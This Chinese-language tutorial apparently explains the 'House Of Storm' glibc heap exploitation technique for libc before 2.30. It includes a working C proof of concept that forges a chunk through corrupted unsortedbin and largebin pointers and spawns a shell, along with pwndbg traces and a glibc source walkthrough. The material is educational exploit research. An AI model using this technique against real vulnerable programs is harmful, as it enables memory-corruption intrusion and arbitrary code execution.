House Of Storm
House Of Storm 是一种结合了 unsortedbin attack
和 Largebin attack
的攻击技术,其基本原理和 Largebin attack
类似
House Of Storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大,但是其条件也是非常的苛刻
House Of Storm 利用姿势
House Of Storm 利用条件:
- libc版本小于libc-2.30(因为libc-2.30之后加入了检查)
- 需要攻击者在
largebin
和 unsortedbin
中分别布置一个chunk,这两个chunk需要在归位之后处于同一个 largebin
的index中,且 unsortedbin
中的chunk要比 largebin
中的大
- 需要
unsorted_bin
中的 bk指针
可控
- 需要
largebin
中的 bk指针和bk_nextsize
指针可控
相较于 Largebin attack
来说,攻击需要的条件多出了一条 “unsorted bin中的bk指针可控” ,但是基本上程序如果 Largebin attack
条件满足,基本代表存在UAF漏洞,那么多控制一个bk指针应该也不是什么难事
House Of Storm 利用姿势:
- 利用 large bin attack 分别错位写一个size和bk的地址,size错位写了0x56(由于pie的原因,chunk的地址总是为6字节,但是头部地址可能是0x55或者0x56,这里需要0x56才能成功,因为malloc后会进行检测)
- 以下检测需要满足的要求,只需满足一条即可:
1 2 3 4
| assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim)));
|
- 利用 unsorted bin attack 在FD的位置写一个main_arena + 88的地址,从而绕过了检测
House Of Storm 从根本上也是写堆地址,但是攻击者可以利用巧妙的构造 把这个堆地址伪造成size字段 ,基于这个size字段,就可以展开 unsortedbin attack 了
伪造案例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #include <stdlib.h> #include <stdio.h> #include <string.h> struct { unsigned long presize; unsigned long size; unsigned long fd; unsigned long bk; unsigned long fd_nextsize; unsigned long bk_nextsize; }chunk;
int main() { unsigned long *large_chunk,*unsorted_chunk; unsigned long *fake_chunk = (unsigned long *)&chunk; char *ptr;
unsorted_chunk=malloc(0x418); malloc(0X20); large_chunk=malloc(0x408); malloc(0x20);
free(large_chunk); free(unsorted_chunk); unsorted_chunk=malloc(0x418); free(unsorted_chunk);
unsorted_chunk[1] = (unsigned long )fake_chunk; large_chunk[1] = (unsigned long )fake_chunk+8; large_chunk[3] = (unsigned long )fake_chunk-0x18-5; ptr=malloc(0x48); strncpy(ptr, "/bin/sh\x00", 0x10); system(((char *)fake_chunk + 0x10)); return 0; }
|
1 2 3 4 5 6 7
| ➜ 桌面 ./test [1] 5082 segmentation fault ./test ➜ 桌面 ./test [1] 5088 segmentation fault ./test ➜ 桌面 ./test $ whoami yhellow
|
接下来进行单步调试:
1 2 3 4
| unsortedbin all: 0x55555555a000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a000 largebins 0x400: 0x55555555a450 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x55555555a450
|
- 看一下“unsorted_chunk”和“large_chunk”中的数据:
1 2 3 4
| pwndbg> x/20xg 0x55555555a000 0x55555555a000: 0x0000000000000000 0x0000000000000421 0x55555555a010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x55555555a020: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5
| pwndbg> x/20xg 0x55555555a450 0x55555555a450: 0x0000000000000000 0x0000000000000411 0x55555555a460: 0x00007ffff7dd1f68 0x00007ffff7dd1f68 0x55555555a470: 0x000055555555a450 0x000055555555a450 0x55555555a480: 0x0000000000000000 0x0000000000000000
|
1 2 3 4
| pwndbg> x/20xg 0x55555555a000 0x55555555a000: 0x0000000000000000 0x0000000000000421 0x55555555a010: 0x00007ffff7dd1b78 0x0000555555558040 0x55555555a020: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5
| pwndbg> x/20xg 0x55555555a450 0x55555555a450: 0x0000000000000000 0x0000000000000411 0x55555555a460: 0x00007ffff7dd1f68 0x0000555555558048 0x55555555a470: 0x000055555555a450 0x0000555555558023 0x55555555a480: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8
| unsortedbin all [corrupted] FD: 0x55555555a000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a000 BK: 0x55555555a000 —▸ 0x555555558040 (chunk) ◂— 0x0 largebins 0x400 [corrupted] FD: 0x55555555a450 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x55555555a450 BK: 0x55555555a450 —▸ 0x555555558048 (chunk+8) ◂— 0x0
|
- 发现 fake_chunk 被链入 unsortedbin ,而且是第一个
- 正常申请是肯定会报错的,因为程序从 unsortedbin 中申请 fake_chunk 时通不过检查
但是程序却可能不报错,为什么会这样呢?这一点需要在源码中查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
|
else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } ...... mark_bin (av, victim_index);
victim->bk=bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
其实这就是 largebin attack 的作用了,最关键的一步是:
1 2
| victim->bk_nextsize->fd_nextsize = victim;
|
其实就是在 fake_chunk-5 中写入了 victim
- 如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,减去5个字节,剩下的就是0x55(或0x56)了
- 如果提前5个字节开始写堆地址,那么伪造在
size字段
上面的就正好是0x55
也就是说,链入 unsortedbin 的 fake_chunk 的 size字段
是可能为0x56的,而0x56刚好可以通过 unsortedbin 的检查(注意:size字段
如果为“0x55”,那么P位就是“1”,通不过检查)
接下来程序就会申请到 fake_chunk ,然后在其中写入“/bin/sh”,作为system的参数
版本对 House Of Storm 的影响
libc-2.30
1 2
| if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
|
有点类似于 unlink 的检查(检查目标chunk的上一个chunk的下一个chunk,是不是目标chunk)
由于 House Of Storm 会修改 fwd->bk_nextsize ,所以检查不通过,导致 House Of Storm 失效